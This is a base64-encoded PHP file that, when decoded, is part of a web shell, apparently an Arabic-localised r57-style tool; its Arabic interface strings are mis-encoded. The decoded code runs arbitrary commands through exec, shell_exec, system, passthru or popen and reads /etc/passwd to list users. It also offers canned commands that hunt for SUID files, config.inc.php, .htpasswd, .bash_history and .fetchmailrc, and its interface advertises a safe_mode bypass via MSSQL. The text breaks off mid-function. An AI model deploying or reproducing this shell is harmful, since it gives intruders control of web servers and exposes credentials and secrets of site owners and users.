9PifH4crV0e3NJywNCidhcl90ZXh0NzEnPT4iU2Vjb25kIGNvbW1hbmRzIHBhcmFtIGlzOlxyXG4tIGZvciBDSE9XTiAtIG5hbWUgb2YgbmV3IG93bmVyIG9yIFVJRFxyXG4tIGZvciBDSEdSUCAtIGdyb3VwIG5hbWUgb3IgR0lEXHJcbi0gZm9yIENITU9EIC0gMDc3NywgMDc1NS4uLiIsDQonYXJfdGV4dDcyJz0+J8fh5NUgx+Hj0cfPJywNCidhcl90ZXh0NzMnPT4nyM3LIN3tIMfh48zhz8fKJywNCidhcl90ZXh0NzQnPT4nyM3LIN3tIMfh4+Hdx8onLA0KJ2FyX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonYXJfdGV4dDc2Jz0+J8fhyM3LINrkIOTVIN3tIOPh3cfKIMjmx9PY5SBmaW5kJywNCidhcl90ZXh0ODAnPT4nx+Hk5tonLA0KJ2FyX3RleHQ4MSc9PifH4cXK1cfhx8onLA0KJ2FyX3RleHQ4Mic9Pife5sfazyDH4cjtx+THyicsDQonYXJfdGV4dDgzJz0+J8rU2+3hIMfj0SDH08ra4cfjJywNCidhcl90ZXh0ODQnPT4nx9PK2uHH4yDex9rPyScsDQonYXJfdGV4dDg1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGNvbW1hbmRzIGV4ZWN1dGUgdmlhIE1TU1FMIHNlcnZlcicsDQonYXJfdGV4dDg2Jz0+J8rk0u3hIOPh3cfKIOPkIMfh0+3R3dEnLA0KJ2FyX2J1dHQxNCc9PifKzePt4ScsDQonYXJfdGV4dDg3Jz0+J8rk0u3hIOPh3cfKIOPkIM7Hz+Mgx+HH3SDK7SDI7ScsDQonYXJfdGV4dDg4Jz0+J9Pt0d3RIMfhx90gyu0gyO06x+Hj5N3QJywNCidhcl90ZXh0ODknPT4n4+HdIN3tIMfhx90gyu0gyO0nLA0KJ2FyX3RleHQ5MCc9PifH4crN5u3hIMfh7CcsDQonYXJfdGV4dDkxJz0+J8fR1N3JJywNCidhcl90ZXh0OTInPT4n4+Qg2+3RIMfhx9HU3cknLA0KJ2FyX3RleHQ5Myc9PifH4cfdIMrtIMjtJywNCidhcl90ZXh0OTQnPT4nys7j7eQgx+HH3SDK7SDI7ScsDQonYXJfdGV4dDk1Jz0+J97HxuPJIMfh49PKzs/j7eQnLA0KJ2FyX3RleHQ5Nic9Pifh4yDt08rY2iDTzcgg3sfG48kgx+Hj08rOz+Pt5CcsDQonYXJfdGV4dDk3Jz0+J8rjIMfh3c3VOiAnLA0KJ2FyX3RleHQ5OCc9PifK4yDI5MzHzTogJywNCidhcl90ZXh0OTknPT4nKiDH08rOz+Mgx9Pjx8Egx+Hj08rOz+Pt5CDd7SDj4d0gL2V0Yy9wYXNzd2Qg4c/O5uEg4eHcIGZ0cCcsDQonYXJfdGV4dDEwMCc9PifH0dPH4SDj4d0gx+HsIM7Hz+Mgx+HH3SDK7SDI7ScsDQonYXJfdGV4dDEwMSc9PifH08rOz+Mgx+HH08fj7SDj2t/m0+Ug4crO4+3k5ccnLA0KJ2FyX3RleHQxMDInPT4nzs/jx8ogx+HI0e3PJywNCidhcl90ZXh0MTAzJz0+J8fR08fhIMjR7c8nLA0KJ2FyX3RleHQxMDQnPT4nx9HTx+Eg4+HdIMfh7CDH4cft4+3hJywNCidhcl90ZXh0MTA1Jz0+J8Xh7CcsDQonYXJfdGV4dDEwNic9Pifj3OQnLA0KJ2FyX3RleHQxMDcnPT4nx+Hj5tbm2icsDQonYXJfYnV0dDE1Jz0+J8XR08fhJywNCidhcl90ZXh0MTA4Jz0+J8fh0dPH4cknLA0KJ2FyX3RleHQxMDknPT4n487d7ScsDQonYXJfdGV4dDExMCc9Pifa0dYnLA0KJ2FyX3RleHQxMTEnPT4n0+3R3dEg3ubH2s8gx+HI7cfkx8ogOiDH4ePk3dAnLA0KJ2FyX3RleHQxMTInPT4n3tHHxskgx+Hj4d3HyiDa5CDY0e3eIMvb0ckgz8fh5SBtYl9zZW5kX21haWwnLA0KJ2FyX3RleHQxMTMnPT4n3tHHxskg483K5uwgx+HjzOHPx8og2uQg2NHt3iB2aWEgaW1hcF9saXN0JywNCidhcl90ZXh0MTE0Jz0+J97Rx8bJIMfh4+Hdx8og2uQg2NHt3iDL29HJIHZpYSBpbWFwX2JvZHknLA0KJ2FyX3RleHQxMTUnPT4n3tHHxskgx+Hj4d3HyiDa5CDY0e3eIGNvbXByZXNzLnpsaWI6Ly8nLA0KJ2FyX3RleHQxMTYnPT4n5NPOIOPkJywNCidhcl90ZXh0MTE3Jz0+J8fh7CcsDQonYXJfdGV4dDExOCc9PifK4yDk084gx+Hj4d0nLA0KJ2FyX3RleHQxMTknPT4n4cft08rY7dogx+Hk084nLA0KJ2FyX2VycjAnPT4nztjHwSAhIOHH7ePf5CDH4d/Kx8jJINrh7CDl0Mcgx+Hj4d0gJywNCidhcl9lcnIxJz0+J87Yx8EgISDb7dEg3sfP0SDa4ewg3tHHxuUg5dDHIMfh4+HdICcsDQonYXJfZXJyMic9PifO2MfBISDhx+3j3+Qgx+HH5NTHwSAnLA0KJ2FyX2VycjMnPT4nztjHwSEg2+3RIN7Hz9Eg2uHsIMfhx8rVx+EgyMfhx90gyu0gyO0nLA0KJ2FyX2VycjQnPT4nztjHwSAhIOHHytPK2O3aIMfhz87m4SDH4ewg0+3R3dEgx+HH3SDK7SDI7ScsDQonYXJfZXJyNSc9PifO2MfBICEg4cfK08rY7dogytvt0SDH4ePM4c8g3e0gx+HH3SDK7SDI7ScsDQonYXJfZXJyNic9PifO2MfBICEg4cfK08rY7dogx9HTx+Eg0dPH4eUnLA0KJ2FyX2VycjcnPT4nx+HI0e3PIMfR0+EnLA0KJ2FyX3RleHQyMDAnPT4nY29weSgp3tHHxskgx+Hj4d3HyiDa5CDY0e3eIMvb0cknLA0KJ2FyX3RleHQyMDInPT4n49PH0SDH4ePh3SDH4ePRx88g3tHHxsrlJywNCidhcl90ZXh0MzAwJz0+J2N1cmwoKd7Rx8blIMfh4+Hdx8og2uQg2NHt3iDL29HJJywNCidhcl90ZXh0MjAzJz0+J2luaV9yZXN0b3JlKCne0cfGySDH4ePh3cfKINrkINjR7d4gy9vRyScsDQonYXJfdGV4dDIwNCc9PidlcnJvcl9sb2coKdLRx9rlIMfh4+Hdx8og2uQg2NHt3iDL29HlJywNCidhcl90ZXh0MjA1Jz0+J8PS0dogx+HU4SDa4ewg5dDHIMfh49PH0ScsDQonYXJfdGV4dDIwNic9Pife0cfG5SDjzcrm7cfKIMfh48zhzycsDQonYXJfdGV4dDIwNyc9Pife0cfG5SDjzcrm7cfKIMfh48zhz8fKINrkINjR7d4gy9vR5SByZWdfZ2xvYicsDQonYXJfdGV4dDIwOCc9PifK5N3t0CDH4cfmx+PRIN3tIMfh5tbaIMfhx+PkINrkINjR7d4gx+HP5sfhJywNCidhcl90ZXh0MjA5Jz0+J97Rx8blIOPNyubtx8ogx+HjzOHPx8og2uQg2NHt3iDL29HlIHJvb3QnLA0KJ2FyX3RleHQyMTAnPT4n3d8gytTd7dEgx+HS5M8gJywNCidhcl90ZXh0MjExJz0+Jzo6x97dx+Egx+HT7d0g4+bPOjonLA0KJ2FyX3RleHQyMTInPT4ncGhwLmluaSDH3t3H4SDH4dPt3SDj5s8g2uQg2NHt3iDS0dog4+HdJywNCidhcl90ZXh0MjEzJz0+J2h0YWNjZXMgxd7dx+Egx+Hj5s8g09/t5tHK7SDa5CDY0e3eINLR2iDj4d0nLA0KJ2FyX3RleHQyMTQnPT4nw9PjIMfhx8/j5CcsDQonYXJfdGV4dDIxNSc9Pifa5ObH5CDH4dPt0d3RIElSQyAnLA0KJ2FyX3RleHQyMTYnPT4nIyDD0+Mgx+Hb0d3lIOPaJywNCidhcl90ZXh0MjE3Jz0+J8fT4yDH4dPt0d3RIMfh487K0d4nLA0KJ2FyX3RleHQyMTgnPT4n4cXt3sfdIMfh0+3dIOPmzyBpbmlfcmVzdG9yZSDS0dog4+HdIO3NyubtINrh7CDL29HlJywNCidhcl90ZXh0MjE5Jz0+J9PNyCDj4d3HyiDH4ewgx+HT7dHd0SDmytvt0SDH0+PlxyDIx+Hm1togx+HH4+QnLA0KJ2FyX3RleHQyMjAnPT4nx9PK2tHH1iDH4ePh3cfKINrkINjR7d4gy9vR5SBzeW1saW5rIMfhztjm5SDH4cfm4ewnLA0KJ2FyX3RleHQyMjEnPT4n1tvYIMfh4+Hdx8og4crN4+3h5ccg4+Qgx+Hj5t7aKMjazyDKzePt4eXHIOHM5cfS3yDb7dEgx+PKz8fPIMfh4+HdIOHH48rPx8/lIMfh08fI3ikxJywNCidhcl90ZXh0MjIyJz0+J8fTytrRx9Ygx+Hj4d3HyiDa5CDY0e3eIMvb0eUgc3ltbGluayDH4c7Y5uUgx+HLx+Tt5ScsDQonYXJfdGV4dDIyMyc9Pife0cfG5SDH4ePh3cfKINrkINjR7d4gx+HP5sfhJywNCidhcl90ZXh0MjI0Jz0+J1BMVUdJTiDe0cfG5SDH4ePh3cfKINrkINjR7d4gy9vR5SAnLA0KKTsNCi8qDQo/Pz8/Pz8gPz8/Pz8/DQo/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8gPyA/Pz8tPz8gPz8/Pz8/LiAoID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gKQ0KPz8gPz8/Pz8/ID8/Pz8gPz8/Pz8/Pz8/ID8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Lg0KKi8NCiRhbGlhc2VzPWFycmF5KA0KJ8fhyM3LINrkIOPh3cfKIHN1aWQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonx+HIzcsg2uQg4+Hdx8ogc3VpZCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLA0KJ8fhyM3LINrkIOPh3cfKIHN1aWQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsDQonx+HIzcsg2uQg4+Hdx8ogc3VpZCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ8fhyM3LINrkIOPh3cfKIGNvbmZpZy5pbmMucGhwJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCifH4cjNyyDa5CDj4d3HyiBjb25maWcuaW5jLnBocCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCifH4cjNyyDa5CDj4d3HyiBjb25maWcqIMjM4+3aIMfhx+PKz8fPx8onPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCifH4cjNyyDa5CDj4d3HyiBjb25maWcqIN3tIMfh48zhzyDH4c3H4e0nPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCifH4cjNyyDa5CDH4ePh3cfKIMfh3sfI4ckg4eHfysfIySc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ8fhyM3LINrkIMfh4+Hdx8ogx+Hex8jhySDh4d/Kx8jJIN3tIMfh48zhzyDH4c3H4e0nPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTIgLWxzJywNCifH4cjNyyDa5CDH4ePM4c/HyiDH4d7HyOHJIOHh38rHyMknPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonx+HIzcsg2uQgx+HjzOHPx8ogx+Hex8jhySDh4d/Kx8jJIN3tIMfh49PH0SDH4c3H4e0nPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCifH4cjNyyDa5CDj4d3HyiDm48zhz8fKIN7HyOHJIOHh38rHyMknPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonx+HIzcsg2uQg4+Hdx8og5uPM4c/HyiDd7SDH4ePTx9Egx+HNx+HtJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ8fhyM3LINrkIOPh3cfKIHNlcnZpY2UucHdkJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCifH4cjNyyDa5CDj4d3HyiBzZXJ2aWNlLnB3ZCDd7SDH4ePTx9Egx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCifH4cjNyyDa5CDf4SDj4d3HyiDH4czP0cfkIMfh5MfR7ckgLmh0cGFzc3dkJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonx+HIzcsg2uQgzOPt2iDj4d3HyiDH4czP0cfkIMfh5MfR7ckg3e0gx+Hj08fRIMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ8fhyM3LINrkIMzj7dog4+Hdx8ogLmJhc2hfaGlzdG9yeSc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCifH4cjNyyDa5CDM4+3aIOPh3cfKIC5iYXNoX2hpc3Rvcnkg3e0gx+Hj08fRIMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCifH4cjNyyDa5CDM4+3aIOPh3cfKIC5teXNxbF9oaXN0b3J5Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCifH4cjNyyDa5CDM4+3aIOPh3cfKIC5teXNxbF9oaXN0b3J5IN3tIMfh49PH0SDH4c3H4e0nPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLA0KJ8fhyM3LINrkIMzj7dog4+Hdx8ogLmZldGNobWFpbHJjJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonx+HIzcsg2uQgzOPt2iDj4d3HyiAuZmV0Y2htYWlscmMg3e0gx+Hj08fRIMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ8fO0SDj4d3HyiDj1Nvh5SDd7SDH4eTZx+MnPT4nbHNhdHRyIC12YScsDQon0cTtySDH4cjm0crHyiDH4ePdyubNySDd7SDH4dPt0d3RJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nLA0KJ9HE7ckgzcfhySDH4ePM4c/HyiDmx+Pfx+TtySDH4crk3e3QJz0+J2NhdCAvZXRjL2ZzdGFiJywNCifj1Mflz8kg4+HdIMfh4ebeIOHPzubhIMfh0+0gyMfk4SDmx+Hj5sfe2iDa4ewgx+HT7dHd0Sc9PidjYXQgL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2cnLA0KJ8rdx9Xt4SDH4drj4e3HyiDH4crtIMra4+Egx+HH5CDIx+Hk1sfjJz0+J3BzIGF1eCcsDQonx+Hj08rOz+Pt5CDH4ePK1eHt5CDNx+Htxyc9Pid3JywNCifHztEg49PKzs/j7eQgx8rV4eYnPT4nbGFzdGxvZycsDQon3c3VIMfP5sfKIMfh083IIHdnZXQgY3VybCAuLmV0Yyc9Pid3aGljaCB3Z2V0IGN1cmwgdzNtIGx5bngnLA0KJ93N1SDHz8fJIMfhytHM4+UgZ2NjJz0+J2xvY2F0ZSBnY2MnLA0KDQoNCg0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgYmdjb2xvcj0jMjcyNzI3Pjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+IjsNCiR0YWJsZV9lbmQxID0gIjwvdGQ+PC90cj4iOw0KJGFycm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNvbG9yPWJsYWNrPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1ibGFjaz5dPC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQoNCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHsgQGNoZGlyKCRfUE9TVFsnZGlyJ10pOyB9DQokZGlyID0gQGdldGN3ZCgpOw0KJHVuaXggPSAwOw0KaWYoc3RybGVuKCRkaXIpPjEgJiYgJGRpclsxXT09IjoiKSAkdW5peD0wOyBlbHNlICR1bml4PTE7DQppZihlbXB0eSgkZGlyKSkNCiB7DQogJG9zID0gZ2V0ZW52KCdPUycpOw0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBwaHBfdW5hbWUoKTsgfQ0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSItIjsgJHVuaXg9MTsgfQ0KIGVsc2UNCiAgICB7DQogICAgaWYoQGVyZWdpKCJed2luIiwkb3MpKSB7ICR1bml4ID0gMDsgfQ0KICAgIGVsc2UgeyAkdW5peCA9IDE7IH0NCiAgICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnc19kaXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnc190ZXh0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzZWFyY2hfdGV4dCIpDQogIHsNCiAgICBlY2hvICRoZWFkOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJiAhZW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10sJF9QT1NUWydzX21hc2snXSk7IH0NCiAgICBlbHNlIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSk7IH0NCiAgICAkc3ItPlNlYXJjaFRleHQoMCwwKTsNCiAgICAkcmVzID0gJHNyLT5HZXRSZXN1bHRGaWxlcygpOw0KICAgICRmb3VuZCA9ICRzci0+R2V0TWF0Y2hlc0NvdW50KCk7DQogICAgJHRpdGxlcyA9ICRzci0+R2V0VGl0bGVzKCk7DQogICAgJHIgPSAiIjsNCiAgICBpZigkZm91bmQgPiAwKQ0KICAgIHsNCiAgICAgICRyIC49ICI8VEFCTEUgd2lkdGg9MTAwJT4iOw0KICAgICAgZm9yZWFjaCgkcmVzIGFzICRmaWxlPT4kdikNCiAgICAgIHsNCiAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAkciAuPSAiPFREIGNvbHNwYW49Mj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIud3MoMyk7DQogICAgICAgICRyIC49ICghJHVuaXgpPyBzdHJfcmVwbGFjZSgiLyIsIlxcIiwkZmlsZSkgOiAkZmlsZTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsNCiAgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZm9yZWFjaCgkdiBhcyAkYT0+JGIpDQogICAgICAgIHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj4iLiRhLiI8L2ZvbnQ+PC9CPjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPFREPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii53cygyKS4kYi4iPC9mb250PjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPC9UUj5cbiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRyIC49ICI8L1RBQkxFPiI7DQogICAgZWNobyAkcjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gIjxQIGFsaWduPWNlbnRlcj48Qj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgpOw0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiB9DQogcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcnMoKQ0Kew0KICAkdXNlcnMgPSBhcnJheSgpOw0KICAkcm93cz1maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICBpZighJHJvd3MpIHJldHVybiAwOw0KICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQ0KICAgew0KICAgICAgICAgICAkdXNlciA9IEBleHBsb2RlKCI6Iiwkc3RyaW5nKTsNCiAgICAgICAgICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7DQogICB9DQogIHJldHVybiAkdXNlcnM7DQp9DQpmdW5jdGlvbiBlcnIoJG4sJHR4dD0nJykNCnsNCmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nOw0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4ODAwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydy